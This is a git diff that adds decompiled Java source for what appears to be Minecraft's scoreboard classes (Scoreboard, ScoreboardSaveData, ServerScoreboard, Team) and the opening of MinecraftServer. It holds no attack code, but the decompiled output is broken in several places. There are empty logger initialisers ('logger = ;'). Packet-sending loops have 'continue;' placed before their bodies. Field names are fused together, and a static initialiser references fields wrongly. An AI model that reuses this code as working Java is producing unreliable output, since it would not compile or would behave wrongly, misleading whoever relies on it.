+        setObjectiveInDisplaySlot(var2, null);
+      }
+    }
+    
+    List var5 = (List)scoreObjectiveCriterias.get(p_96519_1_.getCriteria());
+    
+    if (var5 != null)
+    {
+      var5.remove(p_96519_1_);
+    }
+    
+    Iterator var3 = field_96544_c.values().iterator();
+    
+    while (var3.hasNext())
+    {
+      Map var4 = (Map)var3.next();
+      var4.remove(p_96519_1_);
+    }
+    
+    func_96533_c(p_96519_1_);
+  }
+  
+
+
+
+  public void setObjectiveInDisplaySlot(int p_96530_1_, ScoreObjective p_96530_2_)
+  {
+    objectiveDisplaySlots[p_96530_1_] = p_96530_2_;
+  }
+  
+
+
+
+  public ScoreObjective getObjectiveInDisplaySlot(int p_96539_1_)
+  {
+    return objectiveDisplaySlots[p_96539_1_];
+  }
+  
+
+
+
+  public ScorePlayerTeam getTeam(String p_96508_1_)
+  {
+    return (ScorePlayerTeam)teams.get(p_96508_1_);
+  }
+  
+  public ScorePlayerTeam createTeam(String p_96527_1_)
+  {
+    ScorePlayerTeam var2 = getTeam(p_96527_1_);
+    
+    if (var2 != null)
+    {
+      throw new IllegalArgumentException("A team with the name '" + p_96527_1_ + "' already exists!");
+    }
+    
+
+    var2 = new ScorePlayerTeam(this, p_96527_1_);
+    teams.put(p_96527_1_, var2);
+    broadcastTeamCreated(var2);
+    return var2;
+  }
+  
+
+
+
+
+  public void removeTeam(ScorePlayerTeam p_96511_1_)
+  {
+    teams.remove(p_96511_1_.getRegisteredName());
+    Iterator var2 = p_96511_1_.getMembershipCollection().iterator();
+    
+    while (var2.hasNext())
+    {
+      String var3 = (String)var2.next();
+      teamMemberships.remove(var3);
+    }
+    
+    func_96513_c(p_96511_1_);
+  }
+  
+  public boolean func_151392_a(String p_151392_1_, String p_151392_2_)
+  {
+    if (!teams.containsKey(p_151392_2_))
+    {
+      return false;
+    }
+    
+
+    ScorePlayerTeam var3 = getTeam(p_151392_2_);
+    
+    if (getPlayersTeam(p_151392_1_) != null)
+    {
+      removePlayerFromTeams(p_151392_1_);
+    }
+    
+    teamMemberships.put(p_151392_1_, var3);
+    var3.getMembershipCollection().add(p_151392_1_);
+    return true;
+  }
+  
+
+  public boolean removePlayerFromTeams(String p_96524_1_)
+  {
+    ScorePlayerTeam var2 = getPlayersTeam(p_96524_1_);
+    
+    if (var2 != null)
+    {
+      removePlayerFromTeam(p_96524_1_, var2);
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+
+
+  public void removePlayerFromTeam(String p_96512_1_, ScorePlayerTeam p_96512_2_)
+  {
+    if (getPlayersTeam(p_96512_1_) != p_96512_2_)
+    {
+      throw new IllegalStateException("Player is either on another team or not on any team. Cannot remove from team '" + p_96512_2_.getRegisteredName() + "'.");
+    }
+    
+
+    teamMemberships.remove(p_96512_1_);
+    p_96512_2_.getMembershipCollection().remove(p_96512_1_);
+  }
+  
+
+
+
+
+  public Collection getTeamNames()
+  {
+    return teams.keySet();
+  }
+  
+
+
+
+  public Collection getTeams()
+  {
+    return teams.values();
+  }
+  
+
+
+
+  public ScorePlayerTeam getPlayersTeam(String p_96509_1_)
+  {
+    return (ScorePlayerTeam)teamMemberships.get(p_96509_1_);
+  }
+  
+
+  public void func_96522_a(ScoreObjective p_96522_1_) {}
+  
+
+  public void func_96532_b(ScoreObjective p_96532_1_) {}
+  
+
+  public void func_96533_c(ScoreObjective p_96533_1_) {}
+  
+
+  public void func_96536_a(Score p_96536_1_) {}
+  
+
+  public void func_96516_a(String p_96516_1_) {}
+  
+
+  public void func_178820_a(String p_178820_1_, ScoreObjective p_178820_2_) {}
+  
+
+  public void broadcastTeamCreated(ScorePlayerTeam p_96523_1_) {}
+  
+
+  public void broadcastTeamRemoved(ScorePlayerTeam p_96538_1_) {}
+  
+
+  public void func_96513_c(ScorePlayerTeam p_96513_1_) {}
+  
+  public static String getObjectiveDisplaySlot(int p_96517_0_)
+  {
+    switch (p_96517_0_)
+    {
+    case 0: 
+      return "list";
+    
+    case 1: 
+      return "sidebar";
+    
+    case 2: 
+      return "belowName";
+    }
+    
+    if ((p_96517_0_ >= 3) && (p_96517_0_ <= 18))
+    {
+      EnumChatFormatting var1 = EnumChatFormatting.func_175744_a(p_96517_0_ - 3);
+      
+      if ((var1 != null) && (var1 != EnumChatFormatting.RESET))
+      {
+        return "sidebar.team." + var1.getFriendlyName();
+      }
+    }
+    
+    return null;
+  }
+  
+
+
+
+
+  public static int getObjectiveDisplaySlotNumber(String p_96537_0_)
+  {
+    if (p_96537_0_.equalsIgnoreCase("list"))
+    {
+      return 0;
+    }
+    if (p_96537_0_.equalsIgnoreCase("sidebar"))
+    {
+      return 1;
+    }
+    if (p_96537_0_.equalsIgnoreCase("belowName"))
+    {
+      return 2;
+    }
+    
+
+    if (p_96537_0_.startsWith("sidebar.team."))
+    {
+      String var1 = p_96537_0_.substring("sidebar.team.".length());
+      EnumChatFormatting var2 = EnumChatFormatting.getValueByName(var1);
+      
+      if ((var2 != null) && (var2.func_175746_b() >= 0))
+      {
+        return var2.func_175746_b() + 3;
+      }
+    }
+    
+    return -1;
+  }
+  
+
+  public static String[] func_178821_h()
+  {
+    if (field_178823_g == null)
+    {
+      field_178823_g = new String[19];
+      
+      for (int var0 = 0; var0 < 19; var0++)
+      {
+        field_178823_g[var0] = getObjectiveDisplaySlot(var0);
+      }
+    }
+    
+    return field_178823_g;
+  }
+}
diff --git a/src/minecraft/net/minecraft/scoreboard/ScoreboardSaveData.java b/src/minecraft/net/minecraft/scoreboard/ScoreboardSaveData.java
new file mode 100644
index 0000000..48df173
--- /dev/null
+++ b/src/minecraft/net/minecraft/scoreboard/ScoreboardSaveData.java
@@ -0,0 +1,298 @@
+package net.minecraft.scoreboard;
+
+import java.util.Collection;
+import java.util.Iterator;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.nbt.NBTTagString;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.world.WorldSavedData;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class ScoreboardSaveData extends WorldSavedData
+{
+  private static final Logger logger = ;
+  private Scoreboard theScoreboard;
+  private NBTTagCompound field_96506_b;
+  private static final String __OBFID = "CL_00000620";
+  
+  public ScoreboardSaveData()
+  {
+    this("scoreboard");
+  }
+  
+  public ScoreboardSaveData(String p_i2310_1_)
+  {
+    super(p_i2310_1_);
+  }
+  
+  public void func_96499_a(Scoreboard p_96499_1_)
+  {
+    theScoreboard = p_96499_1_;
+    
+    if (field_96506_b != null)
+    {
+      readFromNBT(field_96506_b);
+    }
+  }
+  
+
+
+
+  public void readFromNBT(NBTTagCompound nbt)
+  {
+    if (theScoreboard == null)
+    {
+      field_96506_b = nbt;
+    }
+    else
+    {
+      func_96501_b(nbt.getTagList("Objectives", 10));
+      func_96500_c(nbt.getTagList("PlayerScores", 10));
+      
+      if (nbt.hasKey("DisplaySlots", 10))
+      {
+        func_96504_c(nbt.getCompoundTag("DisplaySlots"));
+      }
+      
+      if (nbt.hasKey("Teams", 9))
+      {
+        func_96498_a(nbt.getTagList("Teams", 10));
+      }
+    }
+  }
+  
+  protected void func_96498_a(NBTTagList p_96498_1_)
+  {
+    for (int var2 = 0; var2 < p_96498_1_.tagCount(); var2++)
+    {
+      NBTTagCompound var3 = p_96498_1_.getCompoundTagAt(var2);
+      ScorePlayerTeam var4 = theScoreboard.createTeam(var3.getString("Name"));
+      var4.setTeamName(var3.getString("DisplayName"));
+      
+      if (var3.hasKey("TeamColor", 8))
+      {
+        var4.func_178774_a(EnumChatFormatting.getValueByName(var3.getString("TeamColor")));
+      }
+      
+      var4.setNamePrefix(var3.getString("Prefix"));
+      var4.setNameSuffix(var3.getString("Suffix"));
+      
+      if (var3.hasKey("AllowFriendlyFire", 99))
+      {
+        var4.setAllowFriendlyFire(var3.getBoolean("AllowFriendlyFire"));
+      }
+      
+      if (var3.hasKey("SeeFriendlyInvisibles", 99))
+      {
+        var4.setSeeFriendlyInvisiblesEnabled(var3.getBoolean("SeeFriendlyInvisibles"));
+      }
+      
+
+
+      if (var3.hasKey("NameTagVisibility", 8))
+      {
+        Team.EnumVisible var5 = Team.EnumVisible.func_178824_a(var3.getString("NameTagVisibility"));
+        
+        if (var5 != null)
+        {
+          var4.func_178772_a(var5);
+        }
+      }
+      
+      if (var3.hasKey("DeathMessageVisibility", 8))
+      {
+        Team.EnumVisible var5 = Team.EnumVisible.func_178824_a(var3.getString("DeathMessageVisibility"));
+        
+        if (var5 != null)
+        {
+          var4.func_178773_b(var5);
+        }
+      }
+      
+      func_96502_a(var4, var3.getTagList("Players", 8));
+    }
+  }
+  
+  protected void func_96502_a(ScorePlayerTeam p_96502_1_, NBTTagList p_96502_2_)
+  {
+    for (int var3 = 0; var3 < p_96502_2_.tagCount(); var3++)
+    {
+      theScoreboard.func_151392_a(p_96502_2_.getStringTagAt(var3), p_96502_1_.getRegisteredName());
+    }
+  }
+  
+  protected void func_96504_c(NBTTagCompound p_96504_1_)
+  {
+    for (int var2 = 0; var2 < 19; var2++)
+    {
+      if (p_96504_1_.hasKey("slot_" + var2, 8))
+      {
+        String var3 = p_96504_1_.getString("slot_" + var2);
+        ScoreObjective var4 = theScoreboard.getObjective(var3);
+        theScoreboard.setObjectiveInDisplaySlot(var2, var4);
+      }
+    }
+  }
+  
+  protected void func_96501_b(NBTTagList p_96501_1_)
+  {
+    for (int var2 = 0; var2 < p_96501_1_.tagCount(); var2++)
+    {
+      NBTTagCompound var3 = p_96501_1_.getCompoundTagAt(var2);
+      IScoreObjectiveCriteria var4 = (IScoreObjectiveCriteria)IScoreObjectiveCriteria.INSTANCES.get(var3.getString("CriteriaName"));
+      
+      if (var4 != null)
+      {
+        ScoreObjective var5 = theScoreboard.addScoreObjective(var3.getString("Name"), var4);
+        var5.setDisplayName(var3.getString("DisplayName"));
+        var5.func_178767_a(IScoreObjectiveCriteria.EnumRenderType.func_178795_a(var3.getString("RenderType")));
+      }
+    }
+  }
+  
+  protected void func_96500_c(NBTTagList p_96500_1_)
+  {
+    for (int var2 = 0; var2 < p_96500_1_.tagCount(); var2++)
+    {
+      NBTTagCompound var3 = p_96500_1_.getCompoundTagAt(var2);
+      ScoreObjective var4 = theScoreboard.getObjective(var3.getString("Objective"));
+      Score var5 = theScoreboard.getValueFromObjective(var3.getString("Name"), var4);
+      var5.setScorePoints(var3.getInteger("Score"));
+      
+      if (var3.hasKey("Locked"))
+      {
+        var5.func_178815_a(var3.getBoolean("Locked"));
+      }
+    }
+  }
+  
+
+
+
+  public void writeToNBT(NBTTagCompound nbt)
+  {
+    if (theScoreboard == null)
+    {
+      logger.warn("Tried to save scoreboard without having a scoreboard...");
+    }
+    else
+    {
+      nbt.setTag("Objectives", func_96505_b());
+      nbt.setTag("PlayerScores", func_96503_e());
+      nbt.setTag("Teams", func_96496_a());
+      func_96497_d(nbt);
+    }
+  }
+  
+  protected NBTTagList func_96496_a()
+  {
+    NBTTagList var1 = new NBTTagList();
+    Collection var2 = theScoreboard.getTeams();
+    Iterator var3 = var2.iterator();
+    
+    while (var3.hasNext())
+    {
+      ScorePlayerTeam var4 = (ScorePlayerTeam)var3.next();
+      NBTTagCompound var5 = new NBTTagCompound();
+      var5.setString("Name", var4.getRegisteredName());
+      var5.setString("DisplayName", var4.func_96669_c());
+      
+      if (var4.func_178775_l().func_175746_b() >= 0)
+      {
+        var5.setString("TeamColor", var4.func_178775_l().getFriendlyName());
+      }
+      
+      var5.setString("Prefix", var4.getColorPrefix());
+      var5.setString("Suffix", var4.getColorSuffix());
+      var5.setBoolean("AllowFriendlyFire", var4.getAllowFriendlyFire());
+      var5.setBoolean("SeeFriendlyInvisibles", var4.func_98297_h());
+      var5.setString("NameTagVisibility", func_178770_ifield_178830_e);
+      var5.setString("DeathMessageVisibility", func_178771_jfield_178830_e);
+      NBTTagList var6 = new NBTTagList();
+      Iterator var7 = var4.getMembershipCollection().iterator();
+      
+      while (var7.hasNext())
+      {
+        String var8 = (String)var7.next();
+        var6.appendTag(new NBTTagString(var8));
+      }
+      
+      var5.setTag("Players", var6);
+      var1.appendTag(var5);
+    }
+    
+    return var1;
+  }
+  
+  protected void func_96497_d(NBTTagCompound p_96497_1_)
+  {
+    NBTTagCompound var2 = new NBTTagCompound();
+    boolean var3 = false;
+    
+    for (int var4 = 0; var4 < 19; var4++)
+    {
+      ScoreObjective var5 = theScoreboard.getObjectiveInDisplaySlot(var4);
+      
+      if (var5 != null)
+      {
+        var2.setString("slot_" + var4, var5.getName());
+        var3 = true;
+      }
+    }
+    
+    if (var3)
+    {
+      p_96497_1_.setTag("DisplaySlots", var2);
+    }
+  }
+  
+  protected NBTTagList func_96505_b()
+  {
+    NBTTagList var1 = new NBTTagList();
+    Collection var2 = theScoreboard.getScoreObjectives();
+    Iterator var3 = var2.iterator();
+    
+    while (var3.hasNext())
+    {
+      ScoreObjective var4 = (ScoreObjective)var3.next();
+      
+      if (var4.getCriteria() != null)
+      {
+        NBTTagCompound var5 = new NBTTagCompound();
+        var5.setString("Name", var4.getName());
+        var5.setString("CriteriaName", var4.getCriteria().getName());
+        var5.setString("DisplayName", var4.getDisplayName());
+        var5.setString("RenderType", var4.func_178766_e().func_178796_a());
+        var1.appendTag(var5);
+      }
+    }
+    
+    return var1;
+  }
+  
+  protected NBTTagList func_96503_e()
+  {
+    NBTTagList var1 = new NBTTagList();
+    Collection var2 = theScoreboard.func_96528_e();
+    Iterator var3 = var2.iterator();
+    
+    while (var3.hasNext())
+    {
+      Score var4 = (Score)var3.next();
+      
+      if (var4.getObjective() != null)
+      {
+        NBTTagCompound var5 = new NBTTagCompound();
+        var5.setString("Name", var4.getPlayerName());
+        var5.setString("Objective", var4.getObjective().getName());
+        var5.setInteger("Score", var4.getScorePoints());
+        var5.setBoolean("Locked", var4.func_178816_g());
+        var1.appendTag(var5);
+      }
+    }
+    
+    return var1;
+  }
+}
diff --git a/src/minecraft/net/minecraft/scoreboard/ServerScoreboard.java b/src/minecraft/net/minecraft/scoreboard/ServerScoreboard.java
new file mode 100644
index 0000000..8eff565
--- /dev/null
+++ b/src/minecraft/net/minecraft/scoreboard/ServerScoreboard.java
@@ -0,0 +1,291 @@
+package net.minecraft.scoreboard;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Set;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.network.NetHandlerPlayServer;
+import net.minecraft.network.Packet;
+import net.minecraft.network.play.server.S3BPacketScoreboardObjective;
+import net.minecraft.network.play.server.S3CPacketUpdateScore;
+import net.minecraft.network.play.server.S3DPacketDisplayScoreboard;
+import net.minecraft.network.play.server.S3EPacketTeams;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.server.management.ServerConfigurationManager;
+
+public class ServerScoreboard extends Scoreboard
+{
+  private final MinecraftServer scoreboardMCServer;
+  private final Set field_96553_b = com.google.common.collect.Sets.newHashSet();
+  private ScoreboardSaveData field_96554_c;
+  private static final String __OBFID = "CL_00001424";
+  
+  public ServerScoreboard(MinecraftServer p_i1501_1_)
+  {
+    scoreboardMCServer = p_i1501_1_;
+  }
+  
+  public void func_96536_a(Score p_96536_1_)
+  {
+    super.func_96536_a(p_96536_1_);
+    
+    if (field_96553_b.contains(p_96536_1_.getObjective()))
+    {
+      scoreboardMCServer.getConfigurationManager().sendPacketToAllPlayers(new S3CPacketUpdateScore(p_96536_1_));
+    }
+    
+    func_96551_b();
+  }
+  
+  public void func_96516_a(String p_96516_1_)
+  {
+    super.func_96516_a(p_96516_1_);
+    scoreboardMCServer.getConfigurationManager().sendPacketToAllPlayers(new S3CPacketUpdateScore(p_96516_1_));
+    func_96551_b();
+  }
+  
+  public void func_178820_a(String p_178820_1_, ScoreObjective p_178820_2_)
+  {
+    super.func_178820_a(p_178820_1_, p_178820_2_);
+    scoreboardMCServer.getConfigurationManager().sendPacketToAllPlayers(new S3CPacketUpdateScore(p_178820_1_, p_178820_2_));
+    func_96551_b();
+  }
+  
+
+
+
+  public void setObjectiveInDisplaySlot(int p_96530_1_, ScoreObjective p_96530_2_)
+  {
+    ScoreObjective var3 = getObjectiveInDisplaySlot(p_96530_1_);
+    super.setObjectiveInDisplaySlot(p_96530_1_, p_96530_2_);
+    
+    if ((var3 != p_96530_2_) && (var3 != null))
+    {
+      if (func_96552_h(var3) > 0)
+      {
+        scoreboardMCServer.getConfigurationManager().sendPacketToAllPlayers(new S3DPacketDisplayScoreboard(p_96530_1_, p_96530_2_));
+      }
+      else
+      {
+        func_96546_g(var3);
+      }
+    }
+    
+    if (p_96530_2_ != null)
+    {
+      if (field_96553_b.contains(p_96530_2_))
+      {
+        scoreboardMCServer.getConfigurationManager().sendPacketToAllPlayers(new S3DPacketDisplayScoreboard(p_96530_1_, p_96530_2_));
+      }
+      else
+      {
+        func_96549_e(p_96530_2_);
+      }
+    }
+    
+    func_96551_b();
+  }
+  
+  public boolean func_151392_a(String p_151392_1_, String p_151392_2_)
+  {
+    if (super.func_151392_a(p_151392_1_, p_151392_2_))
+    {
+      ScorePlayerTeam var3 = getTeam(p_151392_2_);
+      scoreboardMCServer.getConfigurationManager().sendPacketToAllPlayers(new S3EPacketTeams(var3, Arrays.asList(new String[] { p_151392_1_ }), 3));
+      func_96551_b();
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+
+
+  public void removePlayerFromTeam(String p_96512_1_, ScorePlayerTeam p_96512_2_)
+  {
+    super.removePlayerFromTeam(p_96512_1_, p_96512_2_);
+    scoreboardMCServer.getConfigurationManager().sendPacketToAllPlayers(new S3EPacketTeams(p_96512_2_, Arrays.asList(new String[] { p_96512_1_ }), 4));
+    func_96551_b();
+  }
+  
+  public void func_96522_a(ScoreObjective p_96522_1_)
+  {
+    super.func_96522_a(p_96522_1_);
+    func_96551_b();
+  }
+  
+  public void func_96532_b(ScoreObjective p_96532_1_)
+  {
+    super.func_96532_b(p_96532_1_);
+    
+    if (field_96553_b.contains(p_96532_1_))
+    {
+      scoreboardMCServer.getConfigurationManager().sendPacketToAllPlayers(new S3BPacketScoreboardObjective(p_96532_1_, 2));
+    }
+    
+    func_96551_b();
+  }
+  
+  public void func_96533_c(ScoreObjective p_96533_1_)
+  {
+    super.func_96533_c(p_96533_1_);
+    
+    if (field_96553_b.contains(p_96533_1_))
+    {
+      func_96546_g(p_96533_1_);
+    }
+    
+    func_96551_b();
+  }
+  
+
+
+
+  public void broadcastTeamCreated(ScorePlayerTeam p_96523_1_)
+  {
+    super.broadcastTeamCreated(p_96523_1_);
+    scoreboardMCServer.getConfigurationManager().sendPacketToAllPlayers(new S3EPacketTeams(p_96523_1_, 0));
+    func_96551_b();
+  }
+  
+
+
+
+  public void broadcastTeamRemoved(ScorePlayerTeam p_96538_1_)
+  {
+    super.broadcastTeamRemoved(p_96538_1_);
+    scoreboardMCServer.getConfigurationManager().sendPacketToAllPlayers(new S3EPacketTeams(p_96538_1_, 2));
+    func_96551_b();
+  }
+  
+  public void func_96513_c(ScorePlayerTeam p_96513_1_)
+  {
+    super.func_96513_c(p_96513_1_);
+    scoreboardMCServer.getConfigurationManager().sendPacketToAllPlayers(new S3EPacketTeams(p_96513_1_, 1));
+    func_96551_b();
+  }
+  
+  public void func_96547_a(ScoreboardSaveData p_96547_1_)
+  {
+    field_96554_c = p_96547_1_;
+  }
+  
+  protected void func_96551_b()
+  {
+    if (field_96554_c != null)
+    {
+      field_96554_c.markDirty();
+    }
+  }
+  
+  public List func_96550_d(ScoreObjective p_96550_1_)
+  {
+    ArrayList var2 = com.google.common.collect.Lists.newArrayList();
+    var2.add(new S3BPacketScoreboardObjective(p_96550_1_, 0));
+    
+    for (int var3 = 0; var3 < 19; var3++)
+    {
+      if (getObjectiveInDisplaySlot(var3) == p_96550_1_)
+      {
+        var2.add(new S3DPacketDisplayScoreboard(var3, p_96550_1_));
+      }
+    }
+    
+    Iterator var5 = getSortedScores(p_96550_1_).iterator();
+    
+    while (var5.hasNext())
+    {
+      Score var4 = (Score)var5.next();
+      var2.add(new S3CPacketUpdateScore(var4));
+    }
+    
+    return var2;
+  }
+  
+  public void func_96549_e(ScoreObjective p_96549_1_)
+  {
+    List var2 = func_96550_d(p_96549_1_);
+    Iterator var3 = scoreboardMCServer.getConfigurationManager().playerEntityList.iterator();
+    Iterator var5;
+    for (; var3.hasNext(); 
+        
+
+
+
+        var5.hasNext())
+    {
+      EntityPlayerMP var4 = (EntityPlayerMP)var3.next();
+      var5 = var2.iterator();
+      
+      continue;
+      
+      Packet var6 = (Packet)var5.next();
+      playerNetServerHandler.sendPacket(var6);
+    }
+    
+
+    field_96553_b.add(p_96549_1_);
+  }
+  
+  public List func_96548_f(ScoreObjective p_96548_1_)
+  {
+    ArrayList var2 = com.google.common.collect.Lists.newArrayList();
+    var2.add(new S3BPacketScoreboardObjective(p_96548_1_, 1));
+    
+    for (int var3 = 0; var3 < 19; var3++)
+    {
+      if (getObjectiveInDisplaySlot(var3) == p_96548_1_)
+      {
+        var2.add(new S3DPacketDisplayScoreboard(var3, p_96548_1_));
+      }
+    }
+    
+    return var2;
+  }
+  
+  public void func_96546_g(ScoreObjective p_96546_1_)
+  {
+    List var2 = func_96548_f(p_96546_1_);
+    Iterator var3 = scoreboardMCServer.getConfigurationManager().playerEntityList.iterator();
+    Iterator var5;
+    for (; var3.hasNext(); 
+        
+
+
+
+        var5.hasNext())
+    {
+      EntityPlayerMP var4 = (EntityPlayerMP)var3.next();
+      var5 = var2.iterator();
+      
+      continue;
+      
+      Packet var6 = (Packet)var5.next();
+      playerNetServerHandler.sendPacket(var6);
+    }
+    
+
+    field_96553_b.remove(p_96546_1_);
+  }
+  
+  public int func_96552_h(ScoreObjective p_96552_1_)
+  {
+    int var2 = 0;
+    
+    for (int var3 = 0; var3 < 19; var3++)
+    {
+      if (getObjectiveInDisplaySlot(var3) == p_96552_1_)
+      {
+        var2++;
+      }
+    }
+    
+    return var2;
+  }
+}
diff --git a/src/minecraft/net/minecraft/scoreboard/Team.java b/src/minecraft/net/minecraft/scoreboard/Team.java
new file mode 100644
index 0000000..6b07dbd
--- /dev/null
+++ b/src/minecraft/net/minecraft/scoreboard/Team.java
@@ -0,0 +1,101 @@
+package net.minecraft.scoreboard;
+
+import com.google.common.collect.Maps;
+import java.util.Collection;
+import java.util.Map;
+import java.util.Set;
+
+public abstract class Team
+{
+  private static final String __OBFID = "CL_00000621";
+  
+  public Team() {}
+  
+  public boolean isSameTeam(Team other)
+  {
+    return other != null;
+  }
+  
+
+  public abstract String getRegisteredName();
+  
+
+  public abstract String formatString(String paramString);
+  
+
+  public abstract boolean func_98297_h();
+  
+  public abstract boolean getAllowFriendlyFire();
+  
+  public abstract EnumVisible func_178770_i();
+  
+  public abstract Collection getMembershipCollection();
+  
+  public abstract EnumVisible func_178771_j();
+  
+  public static enum EnumVisible
+  {
+    ALWAYS("ALWAYS", 0, "always", 0), 
+    NEVER("NEVER", 1, "never", 1), 
+    HIDE_FOR_OTHER_TEAMS("HIDE_FOR_OTHER_TEAMS", 2, "hideForOtherTeams", 2), 
+    HIDE_FOR_OWN_TEAM("HIDE_FOR_OWN_TEAM", 3, "hideForOwnTeam", 3);
+    
+    private static Map field_178828_g;
+    public final String field_178830_e;
+    public final int field_178827_f;
+    private static final EnumVisible[] $VALUES;
+    private static final String __OBFID = "CL_00001962";
+    
+    public static String[] func_178825_a()
+    {
+      return (String[])field_178828_g.keySet().toArray(new String[field_178828_g.size()]);
+    }
+    
+    public static EnumVisible func_178824_a(String p_178824_0_)
+    {
+      return (EnumVisible)field_178828_g.get(p_178824_0_);
+    }
+    
+    private EnumVisible(String p_i45550_1_, int p_i45550_2_, String p_i45550_3_, int p_i45550_4_)
+    {
+      field_178830_e = p_i45550_3_;
+      field_178827_f = p_i45550_4_;
+    }
+    
+    static
+    {
+      field_178828_g = Maps.newHashMap();
+      
+
+
+      $VALUES = new EnumVisible[] { ALWAYS, NEVER, HIDE_FOR_OTHER_TEAMS, HIDE_FOR_OWN_TEAM };
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      EnumVisible[] var0 = values();
+      int var1 = var0.length;
+      
+      for (int var2 = 0; var2 < var1; var2++)
+      {
+        EnumVisible var3 = var0[var2];
+        field_178828_g.put(field_178830_e, var3);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/server/MinecraftServer.java b/src/minecraft/net/minecraft/server/MinecraftServer.java
new file mode 100644
index 0000000..198e90d
--- /dev/null
+++ b/src/minecraft/net/minecraft/server/MinecraftServer.java
@@ -0,0 +1,1537 @@
+package net.minecraft.server;
+
+import com.google.common.base.Charsets;
+import com.google.common.collect.Lists;
+import com.google.common.util.concurrent.Futures;
+import com.google.common.util.concurrent.ListenableFuture;
+import com.google.common.util.concurrent.ListenableFutureTask;
+import com.mojang.authlib.GameProfile;
+import com.mojang.authlib.GameProfileRepository;
+import com.mojang.authlib.minecraft.MinecraftSessionService;
+import com.mojang.authlib.yggdrasil.YggdrasilAuthenticationService;
+import io.netty.buffer.ByteBuf;
+import java.awt.image.BufferedImage;
+import java.io.File;
+import java.io.IOException;
+import java.net.Proxy;
+import java.security.KeyPair;
+import java.text.SimpleDateFormat;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Date;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Queue;
+import java.util.Random;
+import java.util.UUID;
+import java.util.concurrent.Callable;
+import java.util.concurrent.Executors;
+import java.util.concurrent.FutureTask;
+import javax.imageio.ImageIO;
+import net.minecraft.command.CommandBase;
+import net.minecraft.command.CommandResultStats.Type;
+import net.minecraft.command.ICommandManager;
+import net.minecraft.command.ICommandSender;
+import net.minecraft.command.ServerCommandManager;
+import net.minecraft.crash.CrashReport;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityTracker;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.network.NetworkSystem;
+import net.minecraft.network.ServerStatusResponse;
+import net.minecraft.network.ServerStatusResponse.PlayerCountData;
+import net.minecraft.network.play.server.S03PacketTimeUpdate;
+import net.minecraft.profiler.IPlayerUsage;
+import net.minecraft.profiler.PlayerUsageSnooper;
+import net.minecraft.profiler.Profiler;
+import net.minecraft.server.gui.IUpdatePlayerListBox;
+import net.minecraft.server.management.PlayerProfileCache;
+import net.minecraft.server.management.ServerConfigurationManager;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.IThreadListener;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.ReportedException;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.EnumDifficulty;
+import net.minecraft.world.GameRules;
+import net.minecraft.world.MinecraftException;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldProvider;
+import net.minecraft.world.WorldServer;
+import net.minecraft.world.WorldServerMulti;
+import net.minecraft.world.WorldSettings;
+import net.minecraft.world.WorldSettings.GameType;
+import net.minecraft.world.WorldType;
+import net.minecraft.world.chunk.IChunkProvider;
+import net.minecraft.world.chunk.storage.AnvilSaveConverter;
+import net.minecraft.world.demo.DemoWorldServer;
+import net.minecraft.world.gen.ChunkProviderServer;
+import net.minecraft.world.storage.ISaveFormat;
+import net.minecraft.world.storage.ISaveHandler;
+import net.minecraft.world.storage.WorldInfo;
+import org.apache.commons.lang3.Validate;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public abstract class MinecraftServer implements ICommandSender, Runnable, IThreadListener, IPlayerUsage
+{
+  private static final Logger logger = ;
+  public static final File USER_CACHE_FILE = new File("usercache.json");
+  
+
+  private static MinecraftServer mcServer;
+  
+  private final ISaveFormat anvilConverterForAnvilFile;
+  
+  private final PlayerUsageSnooper usageSnooper = new PlayerUsageSnooper("server", this, getCurrentTimeMillis());
+  
+  private final File anvilFile;
+  
+  private final List playersOnline = Lists.newArrayList();
+  private final ICommandManager commandManager;
+  public final Profiler theProfiler = new Profiler();
+  private final NetworkSystem networkSystem;
+  private final ServerStatusResponse statusResponse = new ServerStatusResponse();
+  private final Random random = new Random();
+  
+
+  private int serverPort = -1;
+  
+
+
+  public WorldServer[] worldServers;
+  
+
+
+  private ServerConfigurationManager serverConfigManager;
+  
+
+  private boolean serverRunning = true;
+  
+
+  private boolean serverStopped;
+  
+
+  private int tickCounter;
+  
+
+  protected final Proxy serverProxy;
+  
+
+  public String currentTask;
+  
+
+  public int percentDone;
+  
+
+  private boolean onlineMode;
+  
+
+  private boolean canSpawnAnimals;
+  
+
+  private boolean canSpawnNPCs;
+  
+
+  private boolean pvpEnabled;
+  
+  private boolean allowFlight;
+  
+  private String motd;
+  
+  private int buildLimit;
+  
+  private int maxPlayerIdleMinutes = 0;
+  public final long[] tickTimeArray = new long[100];
+  
+
+  public long[][] timeOfLastDimensionTick;
+  
+  private KeyPair serverKeyPair;
+  
+  private String serverOwner;
+  
+  private String folderName;
+  
+  private String worldName;
+  
+  private boolean isDemo;
+  
+  private boolean enableBonusChest;
+  
+  private boolean worldIsBeingDeleted;
+  
+  private String resourcePackUrl = "";
+  private String resourcePackHash = "";
+  
+  private boolean serverIsRunning;
+  
+  private long timeOfLastWarning;
+  
+  private String userMessage;
+  
+  private boolean startProfiling;
+  private boolean isGamemodeForced;
+  private final YggdrasilAuthenticationService authService;
+  private final MinecraftSessionService sessionService;
+  private long nanoTimeSinceStatusRefresh = 0L;
+  private final GameProfileRepository profileRepo;
+  private final PlayerProfileCache profileCache;
